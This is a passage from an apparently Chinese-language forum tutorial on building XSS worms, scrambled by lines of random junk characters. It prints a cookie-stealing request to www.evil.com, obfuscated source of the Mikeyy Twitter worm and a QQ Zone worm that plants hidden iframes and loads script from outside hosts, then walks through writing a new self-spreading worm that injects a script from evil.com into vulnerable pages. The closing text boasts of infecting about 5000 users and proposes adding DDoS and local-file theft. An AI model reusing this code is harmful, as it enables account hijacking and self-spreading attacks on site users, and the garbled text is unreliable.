- ?: p+ j5 D. q. N$ N7 [/ K4 }  `; \
) b. A& m. H5 l. s$ n+ x, UXmlHttp.send(null);

) n! o- N, g  u6 i8 T5 c* ~</script>
2 l  [; G% O; r7 E, ~% S8 w复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


, r. i2 P3 v5 k) |; |: ~& }
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
+ l4 u5 Z: Y+ L; @
XmlHttp.send(null);
" N) v. H! n2 N+ ]1 ^
, ?: f( D9 i; D/ m- V<script>
; j/ ?! e. j" |! {, z! i2 D复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
) `  m% [% L1 w# L( z复制代码案例:Twitter 蠕蟲五度發威
' N! n! _( c* `$ ]第一版:
  {% u0 J  i8 ?" i) x  下载 (5.1 KB)
* T+ R, f7 v6 r1 H" l% Y$ k! T
6 天前 08:27
4 @3 w. G' M. U# f+ o* A
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
* _- S, f( e8 `0 j, Y5 O
   2.   

   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  

6 v4 u0 S! @+ C6 R* Z7 a9 H   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

# F; n  ^3 M5 Q# V7 U+ p; ?   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

9 Z2 S7 |6 Z; j3 ?   8.   catch(e) { _0x6687x2=false; }; }; };  
3 ~& K# |$ Z1 F8 m, Z  E* y& ~复制代码第六版:   1. function wait() {  
$ O9 f6 m" u5 X" ?/ ^
* I# ^6 g2 U' _+ N$ [   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  
( d8 T$ G( q5 K8 R! P5 b1 g
  A1 X- m8 @; s7 D* q. E/ t   4.   var tmp_posted=tmp_cookie.match(/posted/);  
+ y2 P1 r( J/ I0 r' l
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

  r" v/ Y* T! ~2 Y1 P: F& S   7.   var authtoken=authtoken[1];  

" m2 x2 g2 b3 m: X3 c& M# a! Z) A   8.   var randomUpdate= new Array();  

) L" S4 L( T" e1 s$ q# e   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
) J: v: G5 }$ i* z& j
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

+ x, U$ k6 A: L- ^/ e, x- j: I  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
4 \/ X% g) n5 Q# f: R* H
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  F. Q8 |0 a7 N- A# X- X9 }/ t9 J" |  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
1 @5 Q4 ]+ l6 b
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
& B. P) j5 n5 p
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
( z* N( P. s/ G5 j8 G8 u# n
7 g* h; u; V* r/ e2 e- M9 i: P  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
' K( `+ A. k6 L: b4 M- @9 t
7 S- v+ c1 D% T% z7 L  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
. k* H5 ?* X# f
  c( I  I" {# W1 O, K* G  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
" A/ f( a$ A+ O( L$ Y) x! L, M$ f% f
. _, e$ S# n( R/ [% \, X0 L0 Y2 X  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
; k' w, B- T0 S5 u; V; t
0 n* l' m2 {  ?  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

' o, i: Z" H6 m9 c  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  v2 ]+ g: W( t. F5 I. W  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
  I( V2 G( g$ A8 h4 Y# w  P
) y! F* p# n' o- L8 f  27.     

! Z3 N9 o/ q7 ~  28.   var ajaxConn= new XHConn();  
: J: s) b# R7 w% B; q2 A, M
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
4 F8 \( e% f& m. g* Y
  30.   var _0xf81bx1c="Mikeyy";  
, T2 _0 B4 E) T1 e+ _! M* o
  31.   var updateEncode=urlencode(_0xf81bx1c);  
/ o0 e* ?, Z9 f! F. S9 D7 a1 H( \
  32.   var ajaxConn1= new XHConn();  
  R3 i  V! A$ Q& M" R
5 T6 E6 O7 {3 s; G! _( c  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
( o, l  Z) y6 [2 T( N' U8 I
; Q8 y1 W/ W  `; h  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

8 k8 r; r: v* y  35.   var XSS=urlencode(genXSS);  
' d2 y5 W+ ]( c; {( }4 I  C
  36.   var ajaxConn2= new XHConn();  
$ M; x2 S2 F  ~! q5 P
' Z7 b1 @2 A$ D1 y  E1 G  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

. J. Q" u5 w2 j9 h  38.     
4 ~& _/ X6 T' ]9 j! P
8 I. E$ _8 m% e, Y8 ~# [; U1 E  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
8 v6 P3 f% u. y4 P) t) `6 N
window.onerror=killErrors;

* V' U) R: F5 q  j; u6 Y3 K
* @: k3 F$ [" K9 y* a5 ?( S
var shendu;shendu=4;
+ N$ c6 B. v6 W' @
//---------------global---v------------------------------------------

( b) K: F! X1 p//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

7 o6 u% Q* G6 ]& i* r0 f! j1 A8 Wvar myblogurl=new Array();var myblogid=new Array();

/ ~$ E. A5 ^  ^7 G        var gurl=document.location.href;
# h3 r* K, @- D. f- A4 i, D0 Z
        var gurle=gurl.indexOf("com/");
/ n0 b) ~& f2 q( r
        gurl=gurl.substring(0,gurle+3);        
2 p: u: E- i- m3 C
        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
: @# j3 A7 s7 j9 G, l3 C( _) ?+ \# b: ~
7 c0 m: a! l8 q$ V" E+ C# p        visitorID=visitorID.substring(cookieS+14);
4 p6 w! H' D3 v" l" E+ k
        cookieS=visitorID.indexOf(",");
# i3 k9 t! ?" R+ {4 u
        visitorID=visitorID.substring(0,cookieS);

1 c* H3 ]' a- y- L$ p7 w% f+ q        get_my_blog(visitorID);

        DOshuamy();
1 {! ?4 }( o. K8 j, _' i( V, x* c
- N0 @; `. ]% E

//挂马

3 \$ B) z( X6 ofunction DOshuamy(){
' t# S  ^- b9 ^' N8 T4 ]
var ssr=document.getElementById("veryTitle");

- l5 h* u) L0 Q/ Kssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
8 A+ l2 D8 c2 Q! ]) A
}
7 l% m7 |& `6 N/ c. V

; n* V& _4 Y4 y9 m5 y
. `, Z- n- z! l$ I3 E! u- J//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
4 D8 j( H: E' i5 I! J" z" b
4 `! |' G  E" x2 U' V) x   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

) k& a: R$ H( W     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

    }
, c8 ]8 z0 _6 _6 r; |" R
; F# }4 ?# O- ?}



% t7 z1 ~. r3 c0 M# K. a" M1 _//这里似乎是判断没有登录的

! Q7 b) l$ E7 e8 j% q2 \/ Efunction get_my_blogurl(guest){
' p7 c+ S7 K; p9 s/ `  G) m" J3 ]
: z' D- N  z% A6 C  var mybloglist=guest;

+ C: f% w& E1 p  var myurls;var blogids;var blogide;

0 \% n% @$ {# ^) m# k+ @, i$ Y, C  for(i=0;i<shendu;i++){
( y! M' t7 V  f$ ?; Q, P
6 B8 H/ `* Q8 q! B     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
2 c3 ^8 q8 x9 Q2 t( r
     if(myurls!=-1){    //找到了就执行下面的
9 E& s3 i  S& ?7 i, D
9 ]) v% M) p, r( a5 w; q! S         mybloglist=mybloglist.substring(myurls+11);
: `& r: E- {6 D0 _  {! T" z
         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
/ t- B6 U2 N  a$ v
, Z+ E' f% i6 V- b' o! b  G        }else{break;}
, ~/ [) ]3 l# O# V4 y
}
8 j( S3 a5 r$ q
get_my_testself();    //执行这个函数

}


4 u4 _' O" g. E" {  {' l2 `
% \: |* R8 \# _5 Q8 ^( E//这里往哪跳就不知道了
: j# G- {% H1 E7 q/ \& g
function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
' f  R3 d% q" x7 q  `" C  W& h
+ z/ T8 |8 ^, H' Q; W! ^3 }# `" M      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

# C% z  Q- v* O      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
  [& t" G. B; {1 a" F
      if(xhr2){        //如果成功
3 j. E# B# e) M% y' r0 a# l
              xhr2.open("GET",url,false);     //打开上面的那个url
4 [& i& [' m' P! P$ A
! y+ x5 W5 Q: h; q# V2 k( I              xhr2.send();
7 I4 p, v# z3 W" F' L  P: l, V
0 O9 j2 ]; w" ^              guest2=xhr2.responseText;
! T+ o7 v& P) `  B
- J+ o) [0 D( _              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
3 [$ L) h0 w& s7 d$ m9 P( G4 v
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

0 m5 `- v; z! X: x8 Y3 R                targetblogurlid=myblogid;   

. i6 F9 @0 l9 F' o' K+ i2 o! \                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
/ t' y; C: T( Z
8 \! Q! M* B6 S- G                break;

$ I& }7 {! G! Z, z0 M3 y               }
* N3 U& V& `7 x- c% j) X1 \! G  j
              if(mycheckit=="-1"){

8 O+ q* j  |5 T                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它

. h6 G. `0 A0 u- H5 C- I# L6 `                break;

* U: }+ h5 K2 Q# o               }

        }      

}
7 I2 C8 B$ j  B8 z5 O6 K4 I
" `7 [& h) h' I}

9 z6 J) n5 J* g
/ F- k" p% L% |& `
& I7 j  a' Z* B- s5 x% E9 u//--------------------------------------  
) f" S* P9 Y& h- J6 T
//根据浏览器创建一个XMLHttpRequest对象
: K5 V3 x+ _2 e5 l( ?# y
function createXMLHttpRequest(){
( E' x$ D* d7 T& r
    var XMLhttpObject=null;  

/ T6 H8 x  s* l) d    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
: \3 w1 S7 n& [% C
. S( U2 o! `6 f  T5 S6 M! Z. C  |    else  

( D9 _1 T! P- g5 Y5 @2 D% u4 n& |      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
* c8 ~9 Z$ J' e1 y: D& p, k0 l6 N
$ D5 z$ I  k6 t! t        for(var i=0;i<MSXML.length;i++)  
, I% i& H5 R; t' ^- c
! K+ z' _5 y% ~9 |' U" E8 ^        {  

/ J) [9 m4 b" y& G            try  
, L5 \3 |, j' y+ S
; F% X; D# I3 N$ i  F9 x; {/ }            {  
3 b; Y0 [6 Q9 R+ x  j" [
                XMLhttpObject=new ActiveXObject(MSXML);  

6 Y8 Q# G! g% V" ^                break;  

: x& G$ n0 F* ]  c1 j& o2 ?' l( ?            }  

" c7 ?3 K0 t+ f7 |, f" Q            catch (ex) {  

  y* Y/ r2 L4 Z' P            }  

         }  

2 t% G" L' m: T$ B      }

return XMLhttpObject;
' X# ^, ^" R# K/ R6 i
; t1 ]) S4 j# W  K) E; E}  
4 }4 B$ M5 I" _3 p' _3 j& P

% v$ D& {% q, u2 R$ r
7 q" k$ e: G+ O  i//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

# a0 c2 J* W  evar s2=document.createElement('script');
- |! P1 Y0 ^- ]. P7 s% g
  d" i: A! k6 r1 I3 t- [+ v( Ds2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
3 V4 Y* _  S) s* e. r
s2.type='text/javascript';

; w/ i- K* Y% B% X9 Ydocument.getElementsByTagName('head').item(0).appendChild(s2);
' L% p5 w1 B6 l0 {: M
! }* s0 \: ?' b4 x+ B}

! g% m: n( o6 Y& [. b4 V3 ~' f
" W0 i$ N; S$ e
function add_jsdel(visitorID,targetblogurlid,gurl){
0 Y2 d. m! k5 j  Z# R9 l
var s2=document.createElement('script');
4 X) l, m. o/ ?/ {% }1 Z& i
) k' W/ L# e# L% E1 P& k& \7 t; Hs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
  G/ u& d2 s! d
4 B8 ^5 D2 i4 z! I; t* Hs2.type='text/javascript';
5 y  C% P9 T# U6 ]# ]; T
document.getElementsByTagName('head').item(0).appendChild(s2);
) ~! Y/ A# v7 I% ~
' w, N; m, M# J5 m}
& m8 _' r; ?' \复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
8 V# ]. G8 k6 A; @# z# k
( @8 h# \# p2 I4 ], G2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
5 @5 J8 q' l; z: \

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

; g9 x" ^- O2 r" S首先,自然是判断不同浏览器,创建不同的对象var request = false;

6 i& ~) `$ K1 m- k/ w- q; rif(window.XMLHttpRequest) {
1 @  V8 P9 A/ S) v: E! S3 A& r
request = new XMLHttpRequest();
* C! `. M* ]8 ^
if(request.overrideMimeType) {

request.overrideMimeType('text/xml');
+ u* l" o/ I1 ~  j) E% Z6 C
}
- }' V8 L. L+ {% Y# b6 a; G/ N
# I  j& U: W! c  p} else if(window.ActiveXObject) {
3 h  w  @: X0 G& P( C( n
# k$ K2 ?# X* Rvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

, s: u( u( m) [+ d. Wfor(var i=0; i<versions.length; i++) {
' t; G# l% m: p4 J! L& |
try {

# [7 B7 r% q5 trequest = new ActiveXObject(versions);
5 \0 A& C( l" b5 K: T0 W6 i
- }- W% V9 ~/ F6 y- k1 G& C} catch(e) {}

- q! D; a) _3 e( n# D}
4 s) d* T5 j: b# L
}
  i2 z. h% b1 k' j, O
xmlHttpReq=request;
( V$ s9 [$ F( L" ~0 p  B! D复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
- Q3 y5 a: x; q8 z$ t) \( v8 B- y
" O# P  h& i2 D; K' J! t        var Browser_Name=navigator.appName;

+ d; I  Y" n! Z. `1 z2 v        var Browser_Version=parseFloat(navigator.appVersion);
& [" z  G9 @) F& n' R) E8 B
: c( Z5 z6 A6 `0 ?/ ]        var Browser_Agent=navigator.userAgent;
  f2 G) {  n! [2 j# b" c
7 w/ M- _7 Q: L8 n) f5 \$ l" t; j        

9 O; j4 d+ J: X9 s% L% s" w        var Actual_Version,Actual_Name;

        
/ {* t# @2 R" v9 e$ T# k5 i5 f
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
) z! R- o! _) g' A7 l
        var is_NN=(Browser_Name=="Netscape");
/ U  `0 I3 X- k
        var is_Ch=(Browser_Name=="Chrome");

3 n4 r4 E, n4 h- Q; {+ P, o" i        
7 J- d$ f2 i0 X3 d$ C8 B) N6 j
        if(is_NN){

1 o9 l( E/ `5 ~( J- [, N6 f8 c            if(Browser_Version>=5.0){
. X8 y9 h8 y; }9 [% n3 A" @
% t" ~* n" B/ T% C                var Split_Sign=Browser_Agent.lastIndexOf("/");
+ D+ @+ s8 S( X; ?
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
9 d) s' R1 `) p# t+ ~9 z- C' u; w


3 I; L; O9 q3 r                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
  l; g. }' B: F' r; h! ?
$ a, o) J# B0 N4 p* X            }

6 w. A+ U2 s6 j+ F6 t. O! [            else{

                Actual_Version=Browser_Version;
2 J1 A1 e$ ^  N( F; T9 E  M
7 J+ k7 R) L# @; b( b) Y4 _: N                Actual_Name=Browser_Name;
* W7 p) E/ w, H% d2 _! X( a
0 E$ `( d. l5 p  ^5 r! ?6 X- S            }
( B- U! p' T+ Q7 t% n) D, Y
        }

0 N7 K, Q- N0 m! F3 R        else if(is_IE){

1 D* M$ l. m+ l1 L, l: \            var Version_Start=Browser_Agent.indexOf("MSIE");

2 d, j; {2 q" q            var Version_End=Browser_Agent.indexOf(";",Version_Start);
( ~% |7 A% H0 r$ @& ~
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
3 b: r/ {, c# A- M
( P4 D2 Z$ p! P  J% @: A3 _            
; ~9 q0 I8 m5 K7 L  U/ c' g- [
3 l4 @/ X$ n* l, x) i% r: w            if(Browser_Agent.indexOf("Maxthon")!=-1){

; R4 Y9 x4 P- B# g                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
. m. `% \- U" Q1 \( E
" B) Q9 e" L  f                Actual_Name="Opera";
& w. k# B" u5 z1 t( d' x
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

$ Z/ C: n0 M) O8 i. {                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

6 s" D4 C6 r  V5 K( R! s            }

        }
6 I" r1 V- r+ C$ i1 ]# S8 M
4 D: f7 ^) |2 X6 n& [$ M, c) K        else if(is_Ch){
' ?. a3 [9 b3 d; ?4 C
            var Version_Start=Browser_Agent.indexOf("Chrome");
- X& C3 `& w2 w8 e
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
9 Y* c8 R8 N' N) V
- V. n7 o( O6 C            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

# y% x3 e( p5 m$ f            Actual_Name=Browser_Name;
3 I' N5 ], N0 C  c
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
$ A& |) K: V, t6 A
                Actual_Name+="(Maxthon)";
4 h- [* a# {; T) V& q& K( j5 H6 Z
            }
& [! S. p9 a/ ^0 R# n
* g6 w- M6 T" ?3 }0 ~( i0 C( |            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
3 M: u5 i0 O: s- a" M4 p
                var tempstart=Browser_Agent.indexOf("Opera");
* T5 u6 Y4 p( V7 v0 s# \; c
                var tempend=Browser_Agent.length;
) C! K8 Z' j4 H2 }; T' |2 Z' f
( `& V3 x3 e5 M1 y: Y6 ]) X( A                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
' s8 t* V# M# o4 D* l- z7 G8 C
& \* M% h% ]0 Z4 Z; |6 A( [        }
4 y1 x& e( z' t% Q" ^, J0 x7 r
        else{

            Actual_Name="Unknown Navigator"

( k! I- X& J( q1 [. t( W& P, h            Actual_Version="Unknown Version"
+ }5 B4 I# M8 }( p5 G
& e; E1 Q9 d( B" c8 O        }
9 d+ l, f( m3 B# n; l8 \$ w
; W. ^+ {2 }) @" ~# b2 R

' t- [/ @( Q5 T/ f, c        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

+ h6 G- n( _3 e( S! O& C        
7 J4 ?/ e* \* p8 w  X
* U5 \* W) s) V  M4 Q        this.Name=Actual_Name;
3 Q7 Y1 F+ O. {5 U
        this.Version=Actual_Version;

9 q; D- W( b! G+ i! U+ v    }

    browserinfo();
2 {+ h4 f& ^6 G7 S
2 ?- M" l% l8 g3 m# v    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
# L* Z1 u6 P. }6 J) t6 N
, F& b6 D4 e* e7 M: k    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

$ O$ r1 x! p( m# h    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

9 A; V' l) r6 T# k; ^) K) q    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
6 q: Q& ?, h4 J. J; i复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
' e( g( F  x- P2 H; d# `* @6 @复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

4 h% A9 I1 r" exmlHttpReq.send(null);

6 T( ?, L% L& @+ C* }var resource = xmlHttpReq.responseText;
* o  F9 y# l: \
9 }' _' K6 q- x) O  L% {# F  Zvar id=0;var result;
. p3 E2 o6 w6 {" S% _6 u7 H
9 V1 Y! _# _3 dvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
+ s. @" `$ }6 D% z3 F& X; v
id++;
2 B- P. \: _; s* c( W
" M8 h6 B; z' x' a0 R}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
% Q9 y' g3 r( z: v8 d
no=resource.search(/my name is/);
# W5 \9 |. p6 b3 Z" D; c
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

. e- U. j  P, z, Evar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
& A& S& u" @3 [+ V1 p) r
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
! E0 P9 i* ]; D# P  o  r) A
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
/ |# t/ K( O; e
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
  v6 p0 V7 ?; l# l- q4 |0 T$ _
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
' ]0 m. t: q: y/ y$ r
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
- x8 t4 W, H3 A6 g- k# ]
! n! _# n" l* P: ~' F$ e$ Svar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
) Q/ _0 T% @& ?* k  w. Q3 s
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
& O; \0 @. L+ J* J- {3 v: A0 |# \( S
4 X( ]1 `" t9 [$ ]1 ?% d- }xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
8 }/ J: F3 d! P% j# v( s% T
xmlHttpReq.setRequestHeader("content-length",post.length);

( Y1 S& Q: g; H+ TxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

( G- k/ t# X7 x, GxmlHttpReq.send(post);                 //把传播的信息 POST出去.
% m+ l& L1 }1 n5 x) n
}
  G( i! K& O8 Q4 ]3 z3 V复制代码-----------------------------------------------------总结-------------------------------------------------------------------
2 I( e4 g' l+ }2 Y
* \9 s8 p/ t3 r5 w( W5 G( `

本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
' y1 ]9 H7 V; T# B% x操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
% \& W; O' v7 ^3 g6 V




# N+ V0 g' n# b


本文引用文档资料:

# H  e1 J9 D' p"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
1 A+ ^! E  y2 `8 p. T" v4 m! `"Cross Site Tracing" (Jeremiah Grossman, January 2003)
